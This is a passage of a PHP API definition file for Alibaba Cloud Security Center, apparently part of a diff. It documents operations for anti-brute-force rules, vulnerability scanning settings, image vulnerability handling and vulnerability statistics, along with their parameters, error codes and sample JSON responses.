'SqlServer拦截方式，取值：'."\n" + .' - **on**：开启'."\n" + .' - **off**：关闭', + 'type' => 'string', + 'example' => 'off', + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"4E5BFDCF-B9DD-430D-9DA4-151BCB581C9D\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 2,\\n \\"Count\\": 2\\n },\\n \\"Rules\\": [\\n {\\n \\"MachineCount\\": 3,\\n \\"EnableSmartRule\\": false,\\n \\"FailCount\\": 15,\\n \\"ForbiddenTime\\": 360,\\n \\"Span\\": 10,\\n \\"DefaultRule\\": true,\\n \\"Name\\": \\"AntiBruteForceRule01\\",\\n \\"Id\\": 1629,\\n \\"UuidList\\": [\\n \\"uuid-018c-4ef7-89fd-988b9b0e****\\"\\n ],\\n \\"CreateTimestamp\\": 1669800181000,\\n \\"ProtocolType\\": {\\n \\"Rdp\\": \\"on\\",\\n \\"Ssh\\": \\"on\\",\\n \\"SqlServer\\": \\"off\\"\\n }\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询已创建的防暴力破解规则', + ], + 'DeleteAntiBruteForceRule' => [ + 'summary' => '删除指定的防暴力破解规则。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'delete', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '91943', + 'abilityTreeNodes' => [ + 'FEATUREsas2XWKXT', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Ids', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '要删除的暴力破解防御规则的ID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '要删除的暴力破解防御规则的ID。'."\n" + .'> 该ID可调用[DescribeAntiBruteForceRules](~~DescribeAntiBruteForceRules~~)接口获取。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '62650', + ], + 'required' => true, + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'FBBEB173-1F43-505F-A876-C03ECDF6CE4C', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"FBBEB173-1F43-505F-A876-C03ECDF6CE4C\\"\\n}","type":"json"}]', + 'title' => '删除防暴力破解规则', + ], + 'ListVulGlobalConfig' => [ + 'summary' => '查询漏洞全局配置。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasU76LC1', + ], + ], + 'parameters' => [ + [ + 'name' => 'ConfigKey', + 'in' => 'query', + 'schema' => [ + 'description' => '配置项的key。取值：'."\n" + .'- **vul_scan_ip_list**：漏洞扫描IP集合。', + 'type' => 'string', + 'required' => false, + 'enumValueTitles' => [ + 'vul_scan_ip_list' => 'vul_scan_ip_list', + ], + 'example' => 'vul_scan_ip_list', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => 'Schema of Response', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7E0618A9-D5EF-4220-9471-C42B5E92719F', + ], + 'VulGlobalConfigList' => [ + 'description' => '配置集合。', + 'type' => 'array', + 'items' => [ + 'description' => '配置对象。', + 'type' => 'object', + 'properties' => [ + 'ConfigKey' => [ + 'description' => '配置项的key。', + 'type' => 'string', + 'example' => 'vul_scan_ip_list', + ], + 'ConfigValue' => [ + 'description' => '配置项取值信息。', + 'type' => 'string', + 'example' => '127.0.*.*,127.0.*.*', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B5E92719F\\",\\n \\"VulGlobalConfigList\\": [\\n {\\n \\"ConfigKey\\": \\"vul_scan_ip_list\\",\\n \\"ConfigValue\\": \\"127.0.*.*,127.0.*.*\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询漏洞全局配置', + ], + 'ModifyRefreshProcessInfo' => [ + 'summary' => '刷新Linux漏洞关联进程列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要刷新的服务器的uuid。'."\n" + .'> 调用[DescribeCloudCenterInstances](~~141932~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => '0f3b8f76-90e5-4455-a5aa-23ce30b5****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => '814FCBBC-3A02-5555-8D05-F8D9FD62A295', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"814FCBBC-3A02-5555-8D05-F8D9FD62A295\\"\\n}","type":"json"}]', + 'title' => '刷新Linux漏洞关联进程列表', + ], + 'OperateImageVul' => [ + 'summary' => '操作镜像漏洞，操作类型有：修复、校验、忽略、取消忽略。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'none', + 'abilityTreeCode' => '92415', + 'abilityTreeNodes' => [ + 'FEATUREsasF0IRDR', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Info', + 'in' => 'query', + 'schema' => [ + 'description' => '要处理的漏洞的信息。该参数为JSON格式，包含以下字段：'."\n" + ."\n" + .'- namespace：镜像命名空间'."\n" + .'- repoName：acr镜像仓库名'."\n" + .'- regionId：地域'."\n" + .'- instanceId acr实例id'."\n" + .'- repoId 仓库id'."\n" + .'- tag 镜像原tag'."\n" + .'- digest 镜像digest'."\n" + .'- newTag 镜像修复后tag'."\n" + .'- uuid 镜像uuid'."\n" + .'- ids 漏洞主键id列表', + 'type' => 'string', + 'required' => false, + 'example' => '[{\\"namespace\\":\\"cloud_oa****\\",\\"repoName\\":\\"hybirdc****\\",\\"regionId\\":\\"cn-shanghai\\",\\"instanceId\\":\\"cri-rv4nvbv8iju4****\\",\\"repoId\\":\\"crr-2q7302qrofxg****\\",\\"tag\\":\\"hybird-cloud-web_fix_167115945****\\",\\"digest\\":\\"e1a4fd25884ca2ef8840bb252c9926e4f549df9e046500dd93539b2d458c****\\",\\"newTag\\":\\"hybird-cloud-web_fix_167115996****\\",\\"uuid\\":\\"4ad91dd8c0c02de6574fa98085d0****\\",\\"ids\\":[197540864,197540865,197540869]}]', + ], + ], + [ + 'name' => 'OperateType', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像修复固定为vul_fix。', + 'type' => 'string', + 'required' => false, + 'example' => 'vul_fix', + ], + ], + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '漏洞类型固定为cve。', + 'type' => 'string', + 'required' => false, + 'example' => 'cve', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次请求的ID。', + 'type' => 'string', + 'example' => '486F2228-438A-544A-A533-433F943C15CD', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"486F2228-438A-544A-A533-433F943C15CD\\"\\n}","type":"json"}]', + 'title' => '操作镜像漏洞', + ], + 'ModifyVulTarget' => [ + 'summary' => '修改漏洞扫描的机器开关设置。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'update', + ], + 'parameters' => [ + [ + 'name' => 'Config', + 'in' => 'query', + 'schema' => [ + 'description' => '配置项目标。该参数为JSON格式，包含以下字段：'."\n" + ."\n" + .'- **vulType** 漏洞类型，取值为：'."\n" + .' - **cve** linux系统漏洞'."\n" + .' - **sys** windows系统漏洞'."\n" + .' - **cms** Web-Cms漏洞'."\n" + .' - **emg** 应急漏洞', + 'type' => 'string', + 'required' => false, + 'example' => '{\\"vulType\\":\\"sys\\"}', + ], + ], + [ + 'name' => 'Target', + 'in' => 'query', + 'schema' => [ + 'description' => '操作目标。该参数为JSON格式，包含以下字段：'."\n" + ."\n" + .'- **target** 目标机器的uuid'."\n" + .'- **targetType** 目标类型，固定为uuid。'."\n" + .'- **flag** 标记，取值为：'."\n" + .' - **add** 选中'."\n" + .' - **del** 取消选中', + 'type' => 'string', + 'required' => false, + 'example' => '[{\\"target\\": \\"9cd5c684-7201-4de5-ad2c-cea89a5e****\\", \\"targetType\\": \\"uuid\\", \\"flag\\": \\"add\\"}]', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次请求的ID。', + 'type' => 'string', + 'example' => '38597320-A990-5444-9A4C-7A1269610C2A', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"38597320-A990-5444-9A4C-7A1269610C2A\\"\\n}","type":"json"}]', + 'title' => '修改漏洞扫描的机器开关设置', + ], + 'ModifyVulConfig' => [ + 'summary' => '修改漏洞扫描开关配置。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'update', + 'abilityTreeCode' => '101933', + 'abilityTreeNodes' => [ + 'FEATUREsasU76LC1', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '要修改的漏洞类型。取值：'."\n" + ."\n" + .'- **cve**：Linux漏洞'."\n" + .'- **sys**：Windows漏洞'."\n" + .'- **cms**：WebCMS漏洞'."\n" + .'- **emg**：应急漏洞'."\n" + .'- **app**：应用漏洞'."\n" + .'- **yum**：YUM/APT源配置'."\n" + .'- **scanMode**：真实风险', + 'type' => 'string', + 'required' => false, + 'example' => 'cve', + ], + ], + [ + 'name' => 'Config', + 'in' => 'query', + 'schema' => [ + 'description' => '设置开启或关闭漏洞检测。取值：'."\n" + ."\n" + .'- **on**：开启漏洞检测'."\n" + .'- **off**：关闭漏洞检测'."\n" + ."\n" + .'> 如果是真实风险，取值：'."\n" + .'> - **real**：真实风险漏洞'."\n" + .'> - **all**：所有漏洞', + 'type' => 'string', + 'required' => false, + 'example' => 'on', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次请求的ID。', + 'type' => 'string', + 'example' => '24DDBE06-58FF-5E5E-9241-D2010D7913C1', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"24DDBE06-58FF-5E5E-9241-D2010D7913C1\\"\\n}","type":"json"}]', + 'title' => '修改漏洞扫描开关配置', + ], + 'ModifyConcernNecessity' => [ + 'summary' => '设置用户关心的漏洞紧急度。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'update', + 'abilityTreeCode' => '92358', + 'abilityTreeNodes' => [ + 'FEATUREsasU76LC1', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'ConcernNecessity', + 'in' => 'query', + 'schema' => [ + 'description' => '漏洞修复必要性列表。'."\n" + ."\n" + .'- asap：高'."\n" + ."\n" + .'- later：中'."\n" + ."\n" + .'- nntf：低', + 'type' => 'string', + 'required' => false, + 'example' => 'asap,nntf', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '返回结果。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次请求的ID。', + 'type' => 'string', + 'example' => 'F059E190-A65B-5DF8-8709-2CC7791A5B65', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F059E190-A65B-5DF8-8709-2CC7791A5B65\\"\\n}","type":"json"}]', + 'title' => '设置用户关心的漏洞紧急度', + ], + 'ModifyAutoDelConfig' => [ + 'summary' => '设置失效漏洞自动删除的时间。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'update', + 'abilityTreeCode' => '92350', + 'abilityTreeNodes' => [ + 'FEATUREsasU76LC1', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Days', + 'in' => 'query', + 'schema' => [ + 'description' => '设置失效漏洞自动删除的时间。取值：'."\n" + ."\n" + .'- 7天'."\n" + .'- 30天'."\n" + .'- 90天', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '30', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求结果。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次请求的ID。', + 'type' => 'string', + 'example' => '3BFA659D-F44F-5703-8FD1-33AB596BEACA', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"3BFA659D-F44F-5703-8FD1-33AB596BEACA\\"\\n}","type":"json"}]', + 'title' => '设置失效漏洞自动删除的时间', + ], + 'ModifyAppVulScanCycle' => [ + 'summary' => '设置应用漏洞扫描周期。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'update', + 'abilityTreeCode' => '105958', + 'abilityTreeNodes' => [ + 'FEATUREsasU76LC1', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Cycle', + 'in' => 'query', + 'schema' => [ + 'description' => '应用漏洞扫描周期。'."\n" + ."\n" + .'- 1week'."\n" + .'- 2weeks'."\n" + .'- 3days', + 'type' => 'string', + 'required' => false, + 'example' => '1week', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '请求ID。', + 'type' => 'string', + 'example' => 'AFEDC54D-70A2-5E56-A69B-E3D8AA8A5197', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"AFEDC54D-70A2-5E56-A69B-E3D8AA8A5197\\"\\n}","type":"json"}]', + 'title' => '设置应用漏洞扫描周期', + ], + 'DescribeVulTargetStatistics' => [ + 'summary' => '获取漏洞开关配置列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的漏洞类型。取值：'."\n" + ."\n" + .'- **cve**：Linux漏洞'."\n" + .'- **sys**：Windows漏洞'."\n" + .'- **cms**：WebCMS漏洞'."\n" + .'- **emg**：应急漏洞', + 'type' => 'string', + 'required' => false, + 'example' => 'cve', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '返回结果。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'RequestId' => [ + 'description' => '本次请求的ID。', + 'type' => 'string', + 'example' => '23AD0BD2-8771-5647-819E-6BA51E212F80', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页最多显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'TotalCount' => [ + 'description' => '查询结果的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'TargetStats' => [ + 'description' => '漏洞配置的统计结果。', + 'type' => 'array', + 'items' => [ + 'description' => '漏洞配置统计。', + 'type' => 'object', + 'properties' => [ + 'VulType' => [ + 'description' => '要查询的漏洞类型。取值：'."\n" + ."\n" + .'- cve：Linux漏洞'."\n" + .'- sys：Windows漏洞'."\n" + .'- cms：WebCMS漏洞'."\n" + .'- emg：应急漏洞', + 'type' => 'string', + 'example' => 'cve', + ], + 'TotalCount' => [ + 'description' => '查询到的资产总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'UuidCount' => [ + 'description' => '配置生效的服务器的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Targets' => [ + 'description' => '资产的目标服务器列表。', + 'type' => 'array', + 'items' => [ + 'description' => '资产配置信息', + 'type' => 'object', + 'properties' => [ + 'Flag' => [ + 'description' => '配置生效类型。取值：'."\n" + ."\n" + .'- **add**：对机器生效'."\n" + .'- **del**：不对该机器生效', + 'type' => 'string', + 'example' => 'add', + ], + 'Target' => [ + 'description' => '配置生效的资产的分组ID或者UUID。', + 'type' => 'string', + 'example' => '0011ea53-738c-4bff-93be-ce6a1cc9****', + ], + 'TargetType' => [ + 'description' => '目标类型。取值：'."\n" + ."\n" + .'- **uuid**：资产。'."\n" + .'- **groupId**：服务器分组。', + 'type' => 'string', + 'example' => 'uuid', + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"CurrentPage\\": 1,\\n \\"RequestId\\": \\"23AD0BD2-8771-5647-819E-6BA51E212F80\\",\\n \\"PageSize\\": 10,\\n \\"TotalCount\\": 1,\\n \\"TargetStats\\": [\\n {\\n \\"VulType\\": \\"cve\\",\\n \\"TotalCount\\": 1,\\n \\"UuidCount\\": 1,\\n \\"Targets\\": [\\n {\\n \\"Flag\\": \\"add\\",\\n \\"Target\\": \\"0011ea53-738c-4bff-93be-ce6a1cc9****\\",\\n \\"TargetType\\": \\"uuid\\"\\n }\\n ]\\n }\\n ]\\n}","type":"json"}]', + 'title' => '获取漏洞开关配置列表', + ], + 'DescribeVulTargetConfig' => [ + 'summary' => '获取单台机器漏洞开关配置。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasU76LC1', + ], + ], + 'parameters' => [ + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的漏洞类型。取值：'."\n" + ."\n" + .'- **cve**：Linux漏洞'."\n" + .'- **sys**：Windows漏洞'."\n" + .'- **cms**：WebCMS漏洞'."\n" + .'- **emg**：应急漏洞', + 'type' => 'string', + 'required' => false, + 'example' => 'cve', + ], + ], + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '服务器uuid。', + 'type' => 'string', + 'required' => false, + 'example' => 'ae1527a9-2308-46ab-b10a-48ae7ff7****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '返回值。', + 'type' => 'object', + 'properties' => [ + 'TotalCount' => [ + 'description' => '查询结果的总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'RequestId' => [ + 'description' => '本次请求的ID。', + 'type' => 'string', + 'example' => '9FBC6E47-7508-58C9-9E76-528E118CB1CC', + ], + 'TargetConfigs' => [ + 'description' => '服务器漏洞配置信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '服务器漏洞配置信息。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '要查询的漏洞类型。取值：'."\n" + ."\n" + .'- **cve**：Linux漏洞'."\n" + .'- **sys**：Windows漏洞'."\n" + .'- **cms**：WebCMS漏洞'."\n" + .'- **emg**：应急漏洞', + 'type' => 'string', + 'example' => 'cve', + ], + 'OverAllConfig' => [ + 'description' => '全局开关。取值：'."\n" + ."\n" + .'- **off**：关闭'."\n" + .'- **on**：开启', + 'type' => 'string', + 'example' => 'on', + ], + 'Config' => [ + 'description' => '机器对应的漏洞开关。'."\n" + ."\n" + .'- **off**：关闭'."\n" + .'- **on**：开启', + 'type' => 'string', + 'example' => 'on', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"TotalCount\\": 1,\\n \\"RequestId\\": \\"9FBC6E47-7508-58C9-9E76-528E118CB1CC\\",\\n \\"TargetConfigs\\": [\\n {\\n \\"Type\\": \\"cve\\",\\n \\"OverAllConfig\\": \\"on\\",\\n \\"Config\\": \\"on\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '获取单台机器配置', + ], + 'DescribeVulNumStatistics' => [ + 'summary' => '获取漏洞的统计信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasU76LC1', + ], + ], + 'parameters' => [ + [ + 'name' => 'From', + 'in' => 'query', + 'schema' => [ + 'description' => '请求来源。'."\n" + .'* 查询云安全中心相关数据时，填入**sas**。'."\n" + .'* 查询安骑士相关数据时，无需填写该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'sas', + ], + ], + [ + 'name' => 'ResourceDirectoryAccountId', + 'in' => 'query', + 'schema' => [ + 'description' => '资源目录成员账号ID（阿里云账号）。'."\n" + .'>调用[DescribeMonitorAccounts](~~DescribeMonitorAccounts~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '127608589417****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回。', + 'type' => 'object', + 'properties' => [ + 'AppNum' => [ + 'description' => '资产中存在的扫描器类型应用漏洞的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'ScaNum' => [ + 'description' => '资产中存在的中间件漏洞的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'VulLaterSum' => [ + 'description' => '漏洞修复等级为中的漏洞数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'AppCnt' => [ + 'description' => '资产中存在的扫描器类型应用漏洞的条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'CveNum' => [ + 'description' => '资产中存在的Linux系统漏洞的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'EmgNum' => [ + 'description' => '资产中存在的应急漏洞的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'CmsDealedTotalNum' => [ + 'description' => '已处理的cms漏洞数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'VulDealedTotalNum' => [ + 'description' => '该字段已废弃。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'VulNntfSum' => [ + 'description' => '漏洞修复等级为低的漏洞数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'CmsNum' => [ + 'description' => '资产中存在的Web-CMS漏洞的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'RequestId' => [ + 'description' => '本次请求的ID。', + 'type' => 'string', + 'example' => 'E22C89D2-FE13-5800-8746-9D0EF1827A59', + ], + 'VulAsapSum' => [ + 'description' => '漏洞修复等级为高的漏洞数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'SysNum' => [ + 'description' => '资产中存在的Windows系统漏洞的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'RdCheckNoPermission', + 'errorMessage' => 'Resource directory account verification has no permission.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + [ + 'errorCode' => 'RdCheckInnerError', + 'errorMessage' => 'Resource directory account service internal error.', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"AppNum\\": 0,\\n \\"ScaNum\\": 0,\\n \\"VulLaterSum\\": 0,\\n \\"AppCnt\\": 0,\\n \\"CveNum\\": 0,\\n \\"EmgNum\\": 0,\\n \\"CmsDealedTotalNum\\": 0,\\n \\"VulDealedTotalNum\\": 0,\\n \\"VulNntfSum\\": 0,\\n \\"CmsNum\\": 0,\\n \\"RequestId\\": \\"E22C89D2-FE13-5800-8746-9D0EF1827A59\\",\\n \\"VulAsapSum\\": 0,\\n \\"SysNum\\": 0\\n}","type":"json"}]', + 'title' => '获取漏洞的统计信息', + ], + 'DescribeVulListPage' => [ + 'summary' => '查询支持检测的漏洞列表。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '115807', + 'abilityTreeNodes' => [ + 